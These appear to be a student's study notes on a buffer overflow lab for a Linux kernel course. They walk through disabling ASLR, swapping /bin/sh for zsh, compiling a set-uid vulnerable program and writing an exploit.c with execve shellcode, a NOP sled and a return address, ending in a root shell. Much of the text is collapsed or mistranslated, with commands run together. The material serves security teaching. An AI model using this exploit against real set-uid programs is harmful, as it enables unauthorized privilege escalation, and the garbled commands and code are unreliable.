20179223 "Linux kernel Fundamentals and Analysis" 11th Week study notes

Buffer Overflow Vulnerability experiment one, experimental introduction

   缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

II. Preparation of the experiment

System User Name Shiyanlou

The lab building provides 64-bit Ubuntu Linux, and in this experiment we need to operate in 32-bit environments to facilitate the observation of assembly statements, so we need to do some preparation before the experiment.

1. Enter a command to install something that compiles a 32-bit C program:

sudo apt-get updatesudo apt-get install lib32z1 libc6-dev-i386sudo apt-get install lib32readline-gplv2-dev

2. Enter the command "linux32" into the 32-bit Linux environment. At this point you will find that the command line is not as good as the tab completion, so enter "/bin/bash" Using bash:

Iii. Experimental Step 3.1 initial Setup

In Ubuntu and some other Linux systems, the initial address of random heap (heap) and stack (stack) is randomized using address space, which makes it difficult to guess the exact memory address, and guessing the memory address is the key to the buffer overflow attack. So in this experiment, we use the following command to turn off this feature:

sudo sysctl -w kernel.randomize_va_space=0

In addition, in order to further protect against buffer overflow attacks and other attacks using shell programs, many shell programs automatically abandon their privileges when called. Therefore, even if you can trick a set-uid program into invoking a shell, you cannot maintain root privileges in the shell, which is implemented in/bin/bash.

In a Linux system,/bin/sh is actually a symbolic link to/bin/bash or/bin/dash. To reproduce the situation before this protective measure was implemented, we used another shell program (zsh) instead of/bin/bash. The following instructions describe how to set up the ZSH program:

sudo sucd /binrm shln -s zsh shexit

3.2 Shellcode

In general, a buffer overflow can cause a program to crash, and in the program, the overflow data overwrites the return address. And if the data that overwrites the return address is another address, then the program jumps to that address, and if the address is a piece of well-designed code to implement other functions, this code is shellcode.

Observe the following code:

int main( ){char *name[2];name[0] = ‘‘/bin/sh’’;name[1] = NULL;execve(name[0], name, NULL);}

The shellcode of this experiment is the compiled version of the code just now:

\x31\xc0\x50\x68 "//sh" \x68 "/bin" \x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3 Vulnerability Procedures

Save the following code as a "stack.c" file and save it to the/tmp directory. The code is as follows:

/ stack.c // This program has a buffer overflow vulnerability. // Our task is to exploit this vulnerability /int bof(char *str){char buffer[12];/ The following statement has a buffer overflow problem /strcpy(buffer, str);return 1;}int main(int argc, char **argv){char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;}

The code lets you know that the program reads a file named "Badfile" and loads the contents of the file into "buffer".

Compile the program, and set the Set-uid. The command is as follows:

sudo sugcc -m32 -g -z execstack -fno-stack-protector -o stack stack.cchmod u+s stackexit

The GCC compiler has a stack protection mechanism to prevent buffer overflows, so we need to use –fno-stack-protector to close this mechanism when compiling the code.

The-Z execstack is used to allow execution of the stack.

3.4 Attack Program

Our goal is to attack the vulnerability program just now and gain root access through the attack.

Save the following code as a "exploit.c" file and save it to the/tmp directory. The code is as follows:

/ exploit.c // A program that creates a file containing code for launching shell/char shellcode[]="\x31\xc0" //xorl %eax,%eax"\x50" //pushl %eax"\x68""//sh" //pushl $0x68732f2f"\x68""/bin" //pushl $0x6e69622f"\x89\xe3" //movl %esp,%ebx"\x50" //pushl %eax"\x53" //pushl %ebx"\x89\xe1" //movl %esp,%ecx"\x99" //cdq"\xb0\x0b" //movb $0x0b,%al"\xcd\x80" //int $0x80;void main(int argc, char **argv){char buffer[517];FILE *badfile;/ Initialize buffer with 0x90 (NOP instruction) /memset(&buffer, 0x90, 517);/ You need to fill the buffer with appropriate contents here /strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");strcpy(buffer+100,shellcode);/ Save the contents to the file "badfile" /badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);}

Notice the above code, "\x??" \x?? \x?? \x?? " Need to add shellcode to the address stored in memory because the location can overwrite the return address just after an overflow occurs.

and strcpy (Buffer+100,shellcode); This sentence tells us again that Shellcode is stored in the buffer+100 position.

Now we're going to get shellcode in-memory address, enter the command:

gdb stackdisass main

Results

The next steps:

According to the statement strcpy (Buffer+100,shellcode); We calculate the address of Shellcode as 0xffffd2a0 (hex) +100 (decimal) =0xffffd304 (hexadecimal)

Modify EXPLOIT.C file Now! Will \x?? \x?? \x?? \x?? Modify to \x04\xd3\xff\xff

Then, compile the EXPLOIT.C program:

gcc -m32 -o exploit exploit.c

3.5 Attack Results

Run the attack program exploit before running the vulnerability stack and observe the results:

Visible, through the attack, get the root permission!

Iv. Experience of Experiment

The experiment took nearly 2 hours and was a stumbling test. Although after repeated troubleshooting, to find and solve the problem, the experiment has been re-done nearly 10 times, and finally succeeded! Get root permission

The biggest problem is that before compiling the program, the first thing to go into the TMP experiment is very rewarding, which deepens my understanding of buffer overflow vulnerabilities.

20179223 "Linux kernel Fundamentals and Analysis" 11th Week study notes